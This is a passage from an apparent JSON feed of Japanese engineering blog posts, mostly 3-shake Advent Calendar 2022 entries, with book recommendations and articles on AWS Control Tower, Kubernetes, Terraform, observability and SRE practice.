―分散アーキテクチャのためのトレードオフ分析」です。著者陣の前作『ソフトウェアアーキテクチャの基礎』も非常によい。というか殆どのエンジニアがまずはこっちを読むべきだと思ってます。『ソフトウェアアーキテクチャの基礎』の感想に関しては以前、読書感想文としてブログにしていたので参照ください。syu-m-5151.hatenablog.com本書はソフトウェアの厄介なトレードオフがある中で適切なアーキテクチャを選定するために必要となる「選択肢や考え方を提供」してくれる本です。今、マイクロサービスアーキテクチャ 第2版読んでいるがどちらともマイクロサービスに「賛成」でも「反対」でもないという中立的な立場から語られるので非常に読んでて気持ちが良い。マイクロサービスについて興味があるが導入するか悩んでる人は是非、読んでも損がないと思える一冊です。ソフトウェアアーキテクチャ・ハードパーツ - Forkwell Library #12 というイベントもあったのであわせて紹介しておきます。forkwell.connpass.com達人プログラマー(第2版): 熟達に向けたあなたの旅達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社AmazonThe Pragmatic Programmer 20th Anniversary Edition の訳本で「達人プログラマー(第2版): 熟達に向けたあなたの旅」です。我々は日々、生産性を求められている。いくら、加速文化の重圧に対抗するとは思いながら、ソフトウェア業界で働く以上は限界がある。現代は常に変化を求められ、「変わらなければ生き残れない」というのは事実だ(と信じている)。本書は、より効率的、生産的なプログラマーになりたいと願う人に対して実践的で素晴らしいTipsを紹介してくれる書籍です。プリンシプル オブ プログラミングやベタープログラマ を読んで良いと思った人は本書もハマると思う。技術者と作業員というポストにおける技術者として圧倒的な能力で問題解決ができることは理想。そして、理想には定期的に自我が殺される。本書は技術者に我々、作業員が迫る為の術をひたすら書いている。私は本書を読んで人生が楽しくなった。ソフトウェアエンジニアとしての自己啓発が足りない場合には読むことがある。エンジニアの自己啓発本です。セキュア・バイ・デザイン 安全なソフトウェア設計セキュア・バイ・デザイン 安全なソフトウェア設計作者:Dan Bergh Johnsson,Daniel Deogun,Daniel Sawanoマイナビ出版AmazonSecure by Design の訳本で「セキュア・バイ・デザイン 安全なソフトウェア設計」です。システムの設計時にセキュリティだけを切り出して別問題として考えるのではなく、システム全体の関心事として扱い、設計時に考慮するための思考方法を提供してくれる書籍です。以前、読書感想文としてブログにしていたので参照ください。DevOps的なことをいうと三部だけになりますが2030年にはセキュリティの専門家もシステム設計時からシステムに関わります(適当)。なので、セキュリティに関わる職域を目指したいという方は読むべきだと思います。syu-m-5151.hatenablog.com継続的デリバリーのソフトウェア工学継続的デリバリーのソフトウェア工学　もっと早く、もっと良いソフトウェアを作るための秘訣作者:David Farley日経BPAmazonModern Software Engineering : Doing What Works to Build Better Software Faster の訳本で「継続的デリバリーのソフトウェア工学　もっと早く、もっと良いソフトウェアを作るための秘訣」です。「ウェブオペレーション ―サイト運用管理の実践テクニック」は新人の時に読んでおいて良かったと思える一冊です。この本で私はシステムの運用が技芸だと教わりました。本書は継続的デリバリーを技芸からソフトウェア工学に取り戻そうとしている。「はじめに」が無料で公開されているのでぜひ、読んでください。bookplus.nikkei.com実践Vim 思考のスピードで編集しよう！実践Vim　思考のスピードで編集しよう！ (アスキー書籍)作者:Ｄｒｅｗ Ｎｅｉｌ,新丈 径角川アスキー総合研究所AmazonVimのコア機能を使いこなす手法に特化した本書。Editorはソフトウェアと触れ合う時の私の手の延長です。もっと、プログラミングが上手くなりたい。だから、使っているVim の達人になりたいとも考えている。なので、読んでいる。Tips集なのでやっていけば勝手に強くなる。思考のスピードを超えないように注意が必要だとは思っています。自分が好きなEditorを利用すれば良いと思っている。syu-m-5151.hatenablog.com終わりに他にも面白かった技術書はたくさんあるが発表やブログにしたものから厳選しました。これを書きながら技術書を読んでよかったと思えるのは常に自分の能力がその書籍を装備できるまでレベルが上がってからだなって思いました。ちなみに、3-shake Advent Calendar 2022の予備で途中まで書いていたブログです。皆さんが勤勉なので書くことにはなりませんでしたが人生で振り返ることが大事なので振り返ってみました。","link":"https://syu-m-5151.hatenablog.com/entry/2022/12/22/202944","isoDate":"2022-12-22T11:29:44.000Z","dateMiliSeconds":1671708584000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"kube-prometheus-stackでPrometheusを構築する","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 21日目の記事です。株式会社スリーシェイクに入社して3ヶ月が経ちました。今までアウトプット活動をあまりしてこなかったの…","link":"https://qiita.com/ys1/items/fcb430b15ae7c4fa8b47","isoDate":"2022-12-20T22:02:16.000Z","dateMiliSeconds":1671573736000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"Reckonerを使ってGitHub名寄せ表をつくってみた","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 19日目の記事です。dogggggoさんによる Config Controller でポリシー制御をしながら Google Cloud のリソースを管理するでした。いきなりですが、Reckonerをご存知でしょうか。3-shakeが提供しているノーコード型ETLツール/データ連携ツールです。ベンチャー企業の課題Reckonerに触れる前に経緯や前段の話を少しします。Reckonerを触ってみるさぁReckonerを触っていくぞ！となったものの、いきなりチーム単位で導入して使っていくのは難しいというのは経験上わかっていました。新しいことやるのにパワーは必要です。最初が肝心なので勢いよく開発メンバーのいるSlackチャンネルに突撃しました。ユーザー目線でReckonerを触ってみてわかった機能は以下。接続できるアプリケーションがあらかじめ用意されている接続できるアプリケーションは認証情報を設定するだけでデータを引っ張ってくることができる対応していないアプリケーションやサービスはHTTPリクエストを書くことができるHTTPレスポンスはcsvやJSON形式で扱うことができ、JSON Pathsでパースすることができる接続できるアプリケーションにはGoogle Spreadsheetを始め、DWHやDB、KintoneやSlackなんかも使えたりします。いくつかのHTTPリクエストを試してみて認証付きAPIを叩けることが確認できたのでサンプルで何か作ってみようかなーと考えたのですが、情シスのHello Worldをやることにしました。GitHub名寄せ表です。GitHub名寄せ表をReckonerでつくってみるではお題が決まったところでさっそくつくっていきましょう。GitHub APIを叩くGoogle Spreadsheetに書き込むGitHub APIを叩くところを用意Reckonerのワークフローを開き、HTTPを配置すると入力画面が出てくるので必要な情報を入れます。必要なヘッダについてはこちら。 APIエンドポイントやヘッダのパラメータ JSON Pathsはこんな感じで書きますプレビューで設定したパラメータでレスポンスが受け取れているかが確認できるので、よければ保存しておきます。 APIリクエストが成功すれば結果が表示されますこれでGitHubのmembersが取れるようになりました。Google Spreadsheetの準備まずはGitHubアカウントを書き込むためのGoogle Spreadsheetを準備しておきます。 スプレッドシートIDはGoogle SpreadsheetのURLから取得したものを入れます APIリクエストが成功すれば結果が表示されますOrganizationに入れたGitHubアカウントを追記するようにするしかしながら、ここまでで用意したものだとAPIで取れたデータを毎回上書きすることになってしまって使い物になりません。ReckonerはETLなのでデータの加工も当然ながらできます。今回はGoogle SpreadsheetとGitHub APIの差分を取って、それをInsertするようにします。 変換の差分機能を使います差分機能を使うことで新たにInviteされたGitHubアカウントを抽出することができます。 データ取得 → 差分 → Insertのフロー完成こうすることで日々運用でOrganizationにGitHubアカウントを追加してもSpreadSheetに書き込まれます。 InsertされたGitHubアカウントにメールアドレスを添えてあげれば名寄せ表は完成見事ノーコードでGitHub名寄せ表がつくれましたね。最初は使い方を覚える必要がありますが、それさえ出来てしまえば欲しいデータが簡単につくれました。いかがでしたでしょうか。簡単ではありますがETLツールReckonerを紹介しました。無料トライアルにチャレンジしてみてください。新料金プランが用意されたようなのでこちらもチェックしてみてください。","link":"https://blog.jigyakkuma.org/2022/12/19/reckoner-howto/","isoDate":"2022-12-18T15:00:00.000Z","dateMiliSeconds":1671375600000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"KubernetesのマニフェストをCIで検査する方針を考える","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 17日目の記事です。https://qiita.com/advent-calendar/2022/3-shake 概要以下の気持ちでKubernetesのマニフェストを検査するツールを選定しました。ベストプラクティスに則りたい細かなレビューの手間を省きたいセキュリティリスクを排除したい保守するのが大変なので出来るだけ自分でポリシーは書きたくない。書くとしても書きやすい方法で記述したい 検査ツールの選定以下のツールからカテゴリ別に選定することにしました。スキーマ検査kubeval...","link":"https://zenn.dev/tayusa/articles/ad9fafa197888b","isoDate":"2022-12-17T03:48:50.000Z","dateMiliSeconds":1671248930000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"CloudWatch Logs のログストリームごとのサイズを取得する","contentSnippet":"動機Amazon CloudWatch Logs のログストリームごとのサイズを知りたいことがありました。たとえば Amazon EKS クラスタを立ち上げて Fluentd または Fluent Bit でログを CloudWatch Logs に送る設定をすると，Pod のログは単一のロググループ（デフォルトでは /aws/containerinsights/Cluster_Name/application）に集約されます。https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Container-Ins...","link":"https://zenn.dev/toshikish/articles/684e4d7ed4532f","isoDate":"2022-12-16T08:57:33.000Z","dateMiliSeconds":1671181053000,"authorName":"toshikish","authorId":"toshikish"},{"title":"エンジニア市場拡大のための「憧れの職業」の重要性に関する緒論","contentSnippet":"はじめに今回、4年ぶりにQiitaに記事を投稿させていただく。ひょんなきっかけ^1で私は、自身が勤めるスリーシェイクのアドベントカレンダーである3-shake Advent Calendar 2…","link":"https://qiita.com/skikkh/items/21c270c7ff7a942dc5f7","isoDate":"2022-12-16T02:21:05.000Z","dateMiliSeconds":1671157265000,"authorName":"skikkh","authorId":"skikkh"},{"title":"Descheduler for Kubernetes で Pod の再配置","contentSnippet":"背景 ある案件で以下のような小規模な Kubernetes クラスタを運用していました。 Kubernetes には hoge というアプリケーションをデプロイしている hoge アプリケーションを乗せる用のノードは2ノ […]The post Descheduler for Kubernetes で Pod の再配置 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-descheduler/","isoDate":"2022-12-13T00:46:47.000Z","dateMiliSeconds":1670892407000,"authorName":"Sreake","authorId":"Sreake"},{"title":"時間がない人のための AWS Solutions Architect - Professional 勉強法","contentSnippet":"難度が高くしっかりとした準備が必要な AWS SA Pro 試験を申し込んだものの，残された時間があまりないという方向けに書いた勉強法の記事です。 試験の概略 特徴長文の選択式問題が75問出題され，それを180分で解くという長丁場な試験です。ざっくり1問あたり2分24秒かけられます。75問もあり，1問に複数のサービスを関連させられるので，AWS が重点的に問いたいサービス・テーマはもれなく出現します。AWS を使った2年以上の実務経験が想定されていますが，たいていの場合，実務で扱うサービスは主要なサービスに限られ，触ったこともないサービスが多く出題されます。そのため，確...","link":"https://zenn.dev/toshikish/articles/06d85a2db79f4d","isoDate":"2022-12-12T10:46:25.000Z","dateMiliSeconds":1670841985000,"authorName":"toshikish","authorId":"toshikish"},{"title":"AWS Control Towerを調べる","contentSnippet":"これは 3-shake Advent Calendar 2022 10日目の記事です仕事の中でAWSで複数のアカウントを管理したいという要件あり、その中でAWS Control Towerが使えないかなと調べたものをざっくりと書いていきます。AWS Control TowerとはAWS Control TowerとはLanding Zoneを実装するためのAWSのマネージドサービスです。そもそもLanding Zoneって何って話になりますね。Landing Zoneとはセキュリティとコンプライアンスのベストプラクティスに基づきアーキテクチャ設計とマルチアカウント環境を管理する仕組みを指します。Landing Zoneは、下記機能から構成されます。アカウントの発行必要な初期設定の済んだアカウントを作成管理用権限の発行対象アカウントを管理するための権限を作成AWS ログの集約監査用ログをセキュアに一元保存ガードレールの設置実施してはいけない操作の禁止危険な設定の監視Landing Zoneの実装方法AWS Control TowerAWSサービスとして提供される Landing Zoneです。容易に利用可能ですが、カスタマイズするには制限があります。(必須のガードレールを外せなかったり)主にこれからAWSを利用する場合に利用できます。既存アカウントにも適用可能です。独自実装の Landing Zone自組織で独自実装するパターンです。自組織の方針に従って自由にカスタマイズできるのが強みです。ただし、自由にカスタマイズはできますが、自身でメンテナンスしないといけないので、コストはかかります。主に既存アカウントに適用する場合に利用できます。自組織でアカウント発行の仕組みや管理の仕組みができあがってる場合などです。そもそもなんでマルチアカウントにするのかAWSをマルチアカウントにする観点として以下のものが考えられます。環境の分離開発、テスト、本番を分離することによるセキュリティおよび統制の確保請求の分離部門やシステム単位でのコスト明確化権限の分離部門間での権限分離およびアカウントへの権限移譲複雑性の分離アカウントの目的を明確に絞ることで、構成がシンプルになるAWS Organizationsだけでもできることマルチアカウント管理するだけならOrganizationだけでもある程度はできます。むしろAWS Control TowerはOrganizationの機能を利用しています。複数AWSアカウントの一元管理Organization Unit(OU)の作成複数アカウントのグルーピング化AWSアカウントの発行Service Control Policyの作成、OUへの適用複数アカウントの一括請求AWS Control Towerだと何ができるのかControl Towerで提供される機能として以下のものがあります。Landing Zoneの提供AWS Organizationを使用してマルチアカウントを作成デフォルトでSandbox、SecurityのOUを作成AWS IAM アイデンティティセンターを利用したID管理を提供Account FactoryAWSアカウントのプロビジョニングの自動化設定可能なテンプレートを提供CloudTrailとConfigログの保存Log Archiveアカウント内のS3バケットに一元的に保存されるガードレールの提供必須と任意の観点の2種類と予防的と発見的の2種類の組み合わせがありControl Towerにより管理下のアカウントに適用される参考: ガードレールの仕組み予防的ガードレール(Service Control Policy)禁止されたアクションの実行が拒否される仕組みControl Tower管理下のアカウントは必須の予防的ガードレールで禁止されているアクションが不可能発見的ガードレール(Config)特定のイベントが発生したときにCloudTrailに記録される仕組みダッシュボードOUやアカウント、ガードレール違反などが一覧表示できるAWS Control TowerではできないことAWS Control Towerでは提供されてない機能もあります。GuardDutyやSecurity Hubなどのセキュリティ機能を組織全体適用するにはOrganizationsの機能を利用する必要があります。AWS Control Towerの注意点、制約事項いろいろ資料を見てみてこの辺注意が必要かなという点を書いていきます。注意点既存アカウントの Control Tower への受入処理時にエラーになった場合、スタックセット内で自動実行される作業の一部手作業が必要になる参考:トラブルシューティング - AWS Control Tower独自ガードレールの追加は可能だが、容易ではない。必須ガードレールを外せない参考:必須のガードレール - AWS Control Tower各種セキュリティー機能は自動で有効化されないため、Control Towerの範囲外のセキュリティ機能は Control Tower の機能の外で管理が必要になる範囲内の機能: Config, CloudTrail, SCP範囲外の機能: GuardDuty, Security Hub, IAM Access Analyzer, DetectiveControl Tower 未対応リージョンを使用している場合、Control Tower適用リージョンと適用外リージョンが混在して管理が煩雑になる大阪リージョン未対応なのでマルチリージョンを考えるときに注意Control Towerはマネージドサービスであるが追加機能によっては手動バージョンアップ が必要になるケースがある参考: ランディングゾーンを更新する - AWS Control Tower参考: 更新について - AWS Control Towerログアーカイブアカウントで独自のログバケットを作成可能だが、非推奨参考: ランディングゾーンのセットアップに関する管理上のヒントリージョンの使用を制限する SCP の併用に注意が必要参考: AWS Control Tower リソースの作成および変更に関するガイダンスIaC との境界の検討が必要アカウント発行に関してはControl Tower(Account Factory)で手動で行い、その後のアカウント設定はTerraformで行うなどAccount Factory for Terraformを利用することでAWSアカウント発行は可能参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニングどこまでTerraformで対応するかは別途検討が必要制限とクォータS３へのログの保存期間は、最大15年間保存可能(最近アップデートされた)Security OU の共有アカウントの E メールアドレスは変更可能だが、これらの変更を AWS Control Tower コンソールで確認するには、Landing Zone を更新する必要があるAWS Control Tower Landing zone の OU には、OU あたり5個のSCPの制限が適用される300超のアカウントを持つ既存の OU は、AWS Control Tower に登録することはできない300を超える場合はOUを分ける必要があるOUのネストは２段階まで、孫OUを持つことはできない参考: AWS Organizations における組織単位のベストプラクティスAWS Control Towerを使うべきなのかマルチアカウントを展開していくのであれば、AWSのベストプラクティスに乗れるので、使用するのが無難です。ただし、独自のLanding Zoneをすでに構築しており、Account Factoryの仕組みも独自で構築できているのであれば、移行コストを鑑みてそのままでも問題ないです。必須の予防的ガードレールが許容できない、OUなどの制限にひっかるなどの運用上の制約がある場合は使えないので、組織のポリシーを見直すか、独自でLanding Zoneを作るかを考える必要があります。発展もっと調査したかったが、時間が足りなかったことや今後調べたいことです。コンソールからAccount Factory実行するとService Catalogの設定項目がありますが、Service Catalog自体の理解不足でどう扱うのかが把握できてないのでこの辺調べたいです。Account Factory for Terraform(AFT)を使うとアカウント発行そのものもIaC化できるので試したい。参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニング参考: ついにControl Towerのアカウント発行からカスタマイズまでIaC対応！Account Factory for Terraform (AFT)が新登場 #reinvent | DevelopersIOCustomization for Control Tower(CfCT)を使うとアカウント発行のイベントをトリガーにCloudFormationを実行できるので、これも実験したい。参考: AWS Control Tower のカスタマイズ (CfCT) の概要 - AWS Control Tower参考: Control Towerカスタマイズソリューション(CfCT)を使ってガードレールとCloudFormationを自動展開してみた | DevelopersIOまとめControl Towerについて調べたことを書いていきました。実運用自体はまだしてないので、これから触ってみて知見が溜まってきたらまたそれも共有できたらと思います。","link":"https://blog.masasuzu.net/entry/2022/12/10/204957","isoDate":"2022-12-10T11:49:57.000Z","dateMiliSeconds":1670672997000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Site Reliability Engineering","contentSnippet":"これは 3-shake Advent Calendar 2022 9日目の蝉です。ポエムです。組織の Advent Calendar ですが、組織としての意見ではありません。早く SRE って3…","link":"https://qiita.com/yteraoka/items/561276f67ad4571ff9f3","isoDate":"2022-12-09T09:28:06.000Z","dateMiliSeconds":1670578086000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"SREの専門家が集まったチームで『SREの探求』の社内輪読会をやっているという話","contentSnippet":"これは SREのカレンダー | Advent Calendar 2022 - Qiita 9日目のエントリです。昨日はryosukes さんによる「北欧、暮らしの道具店」インフラ構成の変遷、5年間の課題と取り組み でした。はじめにこんにちは。株式会社スリーシェイク Sreake 事業部に所属している@nwiizo です。Sreake事業部は技術力が求められる領域で豊富な経験を持つSREの専門家が集まったチームです。事業部にはさまざまな背景を持つSREの専門家が多く在籍してます。しかし、そのSREの専門家達とは案件が一緒にならなかったり、能動的に質問をしなければSREに関する意見や知見を聞けませんでした。SREの探求 ―様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践オライリージャパンAmazonそんな、課題がある中で半年前に各案件で得た知見や経験を各メンバーで出し合える会がもっと(社内で技術共有会はあるため)あると良いと思いました。そこで社内チャットで運営を募り 『輪読会について考える会』を行いました。社内チャットで運営を募ると一瞬で集まったので良い組織だと思いました。※『輪読会について考える会』の議事録のTOPページです。『SREの探求』輪読会この輪読会を開催するにあたって以下の3つを目的として上げました。各メンバーがSREに関する意見や知見を交換できる場にするチーム全体としてSREへの理解を深めることでSreake の価値を高めるさまざまなフェーズの意見が交換できるように『SREの探求』を読む候補としてSRE サイトリライアビリティエンジニアリング ―Googleの信頼性を支えるエンジニアリングチームやサイトリライアビリティワークブック ―SREの実践方法 も上がりました。しかし、Google だけではなく様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践が紹介されているということで『SREの探求』に決定いたしました。輪読会の形式リモートで毎週水曜日 18:00から1時間、業務もあるので参加は自由としました。進め方としては担当者がNotion に担当の章をまとめて内容を発表する。その後、話し合いながらNotion やSlack に意見を垂れ流す方式にしました。参加者はSREの専門家達、リーダー、人事、営業、総務など様々な方がいてわいわいとやれているので僕は楽しい。輪読会をはじめてから半年が経過して開催できてない週もありましたが現在は14回の実施ができました。各担当者毎に特色がある発表で聞いていて面白いです。『SREの探求』には様々な視点でのSREでの話がされているので当初の目的としては正解です。また、同じ本で同じ職種なのにここまで読み方に差が出るのかと感心してます。人によってはすごくその事柄について考えられていて自分と比較して落ち込みます。でも、経験や考え方の違う人の話を聞けるのはとても参考と刺激になってます。『SREの探求』の輪読会のTOPページです。情報がシュッとまとまってます。また、1年が経過したタイミングで「輪読会に参加して、その後、SREに対しての考え方や行動に変化はありましたか？ 」という質問をしたいと考えております。もし、読んでる社内の方がいたら考えておいてください。さいごに『SREの探求』の輪読会を半年運営してきて各メンバーがSREやインフラ技術に関する意見や知見を交換できる場として機能し始めていると思ってます。自分自身もSREに関する知見を深める機会になっております。今後より良いサービスを提供していくためにも輪読会は続けていきたいなと思いました。輪読会をやる時には運営が複数人で実施することと目的を明確にしておけば運営を続けやすいなって思いました。『SREの探求』の輪読会を終了したタイミングでちゃんと効果測定したブログを書こうと【今は】思ってます。","link":"https://syu-m-5151.hatenablog.com/entry/2022/12/09/041252","isoDate":"2022-12-08T19:12:52.000Z","dateMiliSeconds":1670526772000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"速習 Datadog APM","contentSnippet":"Datadog APM を使った監視設計をすることがあり、使い勝手が良かったため基本的な部分と設定した方がいいなと思っている事項を書いていきます。 プロファイリング機能は使いませんでしたので、本記事では対象外です。 AP […]The post 速習 Datadog APM first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-apm/","isoDate":"2022-12-08T04:33:11.000Z","dateMiliSeconds":1670473991000,"authorName":"Sreake","authorId":"Sreake"},{"title":"インシデント対応しながら書くポストモーテム","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 8日目の記事です。サービスにおいてインシデントが発生した場合に書くポストモーテムについて，書く負担を減らせるようなテンプレートを提案します。 ポストモーテムのテンプレートポストモーテムのテンプレートは，例えば以下のようなものが公開されています。 Google SREhttps://sre.google/sre-book/example-postmortem/タイトル・インシデント ID日付対応者ステータス概要影響主な原因障害発生のトリガー解決策検知アクションアイテム...","link":"https://zenn.dev/toshikish/articles/1d5bcf9ed1939d","isoDate":"2022-12-07T22:00:00.000Z","dateMiliSeconds":1670450400000,"authorName":"toshikish","authorId":"toshikish"},{"title":"lego で既存の秘密鍵を使って証明書を発行する","contentSnippet":"既存の秘密鍵を使って証明書を発行しなければいけないという特殊な環境ですぐに証明書を発行したいということがありました。 lego を使っての証明書発行はとても簡単ですが、デ","link":"https://blog.1q77.com/2022/12/issue-the-certificate-using-existing-private-key-with-lego/","isoDate":"2022-12-07T13:42:05.000Z","dateMiliSeconds":1670420525000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『セキュア・バイ・デザインの鳴くところ』というタイトルでOWASP Fukuoka Meeting #9 に登壇しました。 #owaspfukuoka","contentSnippet":"OWASP Fukuoka Meeting #9 に登壇してきました！登壇してきました。自分はセキュリティ専門家ではないのですが発表するとセキュリティ専門家からレビューをもらえたり意見をいただけるのでそれがとてもよいです。ちなみに発表時間が諸事情により30分から1時間になって想定外の資料の取捨選択を行った...発表時間が30分から1時間になって想定してない肉付けしたら資料の主張が曲がったので改変している。— nwiizo (@nwiizo) 2022年12月6日 発表資料セキュア・バイ・デザインの鳴くところ - 安全なソフトウェアを全体から考えるみるで候の資料はこちらです『セキュア・バイ・デザインの鳴くところ』みたいな資料を作成したので公開しておきます！https://t.co/BduVhWd73K#owaspfukuoka— nwiizo (@nwiizo) 2022年12月7日 リモート発表は寂しいので相槌を入れてほしいと思っている。主催の@TakaharuOgasa さんや@mrtc0 さんが程よく補足情報を入れたりしてくれてよかった。セキュア・バイ・デザイン 安全なソフトウェア設計作者:Dan Bergh Johnsson,Daniel Deogun,Daniel Sawanoマイナビ出版Amazon参考資料OWASP SAMM(Software Assurance Maturity Model)OWASP SAMM(Software Assurance Maturity Model):githubOWT2017JP - OWASP\xa0SAMMセキュリティーチェックシートという闇への防衛術CircuitBreakerPattern: Circuit BreakerGitHub - istio/istio: Connect, secure, control, and observe services.Istio By Exampleサービスメッシュの「Istio」や、OSSで構成されたマネージドサービス――ミッションクリティカルなシステムをKubernetesで実現するカギはツールにあり！【デブサミ2018】Design It! ―プログラマーのためのアーキテクティング入門Release It!: Design and Deploy Production-Ready SoftwareOWASP SAMM Toolkit v2.0.6開発環境のセキュリティおよびCI/CDパイプラインのセキュア化PHPerKaigi 2022: 予防に勝る防御なし - 堅牢なコードを導く様々… / 和田卓人SOLID CODE 高品質なコードを生み出す実践的開発手法","link":"https://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","isoDate":"2022-12-07T11:44:00.000Z","dateMiliSeconds":1670413440000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"社会に蔓延る労苦〈Toil〉をなくす（株式会社スリーシェイク入社エントリ）","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 5日目の記事です。前日は @aqarium さんによる 徒然なるままにDatadog APM でした。私は株式会社スリ…","link":"https://qiita.com/tayakun/items/2f5ca30b777a54b2c52d","isoDate":"2022-12-05T14:18:53.000Z","dateMiliSeconds":1670249933000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Prometheus で探索対象の ServiceMonitor を広げる","contentSnippet":"Kubernetes クラスタで Prometheus を導入し，ServiceMonitor を作って監視対象を定義したところ，一向に Target として追加されないことがありました。ServiceMonitor が作られているだけでは不十分で，Prometheus の探索する対象に入っている必要があります。それがどこで定義されているかを調べました。以下のような ServiceMonitor を考えます。apiVersion: monitoring.coreos.com/v1kind: ServiceMonitormetadata: name: example-serv...","link":"https://zenn.dev/toshikish/articles/70424038397d6d","isoDate":"2022-12-05T09:53:34.000Z","dateMiliSeconds":1670234014000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Cloud Runで定期ジョブを実行する","contentSnippet":"本記事は GCP(Google Cloud Platform) Advent Calendar 2022 の4日目のものです。3日目は @po3rin さんのAPI on GKE に高速で認証をつけるIdentity-Aware Proxy \xd7 Identity Platform でした。 概要普段、GCPを使ったWebアプリケーション開発をしていますが、その中で、定期的に(スケジューリングをして)、ジョブを実行するということがあります。例えば、DBのデータの整合性とか、ログの収集とか。。。この要件のときは、GCP内で完結させるとして、Cloud SchedulerのHTTP...","link":"https://zenn.dev/satohjohn/articles/20ebf8d1bed1d1","isoDate":"2022-12-04T13:48:19.000Z","dateMiliSeconds":1670161699000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Grafana OnCall で Twilio を使って電話を受ける","contentSnippet":"Twilio Advent Calendar 4日目の記事です。今年 (2022年) の6月に「Introducing Grafana OnCall OSS, on-call management…","link":"https://qiita.com/yteraoka/items/7e6db7111a061f5e22e4","isoDate":"2022-12-03T16:34:52.000Z","dateMiliSeconds":1670085292000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Codezine掲載】エンジニアの事業貢献、必要な第一歩とは？ 松本亮介氏\xd7スリーシェイクが解説！ エンジニアがプロダクトやビジネスへの理解を深める方法","contentSnippet":"「デベロッパーの成長と課題解決に貢献するメディア」をコンセプトに情報発信を行うソフトウェア開発者向けWebメディア「Codezine」に、弊社SREである手塚と、多数の企業で技術顧問などを務める松本亮介氏の対談記事が掲載されましたThe post 【Codezine掲載】エンジニアの事業貢献、必要な第一歩とは？ 松本亮介氏\xd7スリーシェイクが解説！ エンジニアがプロダクトやビジネスへの理解を深める方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codezine_engineer_product/","isoDate":"2022-11-29T05:25:53.000Z","dateMiliSeconds":1669699553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google BigQuery: The Definitive Guideを読んでみた","contentSnippet":"はじめに 2021年スリーシェイクに入社してから案件で BigQuery を触ったのをきっかけに、Google BigQuery: The Definitive Guideを読んだので本の内容を一部紹介します。 10章ま […]The post Google BigQuery: The Definitive Guideを読んでみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-bigquery-the-definitive-guide/","isoDate":"2022-11-29T02:25:13.000Z","dateMiliSeconds":1669688713000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オブザーバビリティについて理解する (収集・分析・可視化）","contentSnippet":"クラウド基盤の登場により、自社でサーバーを構築してシステムを運用するオンプレ以外の選択肢が増えてきました。多くの企業では、クラウド基盤を活用してシステム運用の効率化を図っているでしょう。 しかし、システムによってはまだま […]The post オブザーバビリティについて理解する (収集・分析・可視化） first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/observability/","isoDate":"2022-11-29T01:05:03.000Z","dateMiliSeconds":1669683903000,"authorName":"Sreake","authorId":"Sreake"},{"title":"複数の Terraform リソースを一度に別の tfstate ファイルに移動する","contentSnippet":"Terraform の tfstate ファイル間のリソースの移動方法は，基本的には以下の記事の通りです。https://www.karakaram.com/moving-terraform-resources-to-another-tfstate-file/この記事では複数リソースを移動したい場合の方法を書きます。 方法やることはシンプルで，リソースをファイルで列挙して xargs で terraform state mv を繰り返すだけです。移動元ディレクトリで terraform state list を実行することで，その tfstate ファイル内の全リソースを取...","link":"https://zenn.dev/toshikish/articles/61db8661cb28ba","isoDate":"2022-11-25T07:33:50.000Z","dateMiliSeconds":1669361630000,"authorName":"toshikish","authorId":"toshikish"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに？リポジトリを見るとdock...","link":"https://zenn.dev/bells17/articles/docker-buildx","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"[3-shake 秋季インターンブログ] eBPF によるコンテナセキュリティツールの Tetragon を検証してみた","contentSnippet":"Sreake事業部で2022年10月11日 ~ 24日に開催された短期インターンに参加しました。eBPF によるコンテナランタイムセキュリティツールの Tetragon の技術検証と運用方法の提案を行いました。以下では、その成果をまとめたいと思います。The post [3-shake 秋季インターンブログ] eBPF によるコンテナセキュリティツールの Tetragon を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ebpf-tetragon/","isoDate":"2022-11-14T00:00:00.000Z","dateMiliSeconds":1668384000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"RPM の install, uninstall 時に実行される script の確認","contentSnippet":"ある RPM Package のインストール、アンインストール時にどんな処理が行われているのか確認したいことがある そんな時な rpm コマンドの --scripts オプションを使用する rpm -qp --scripts 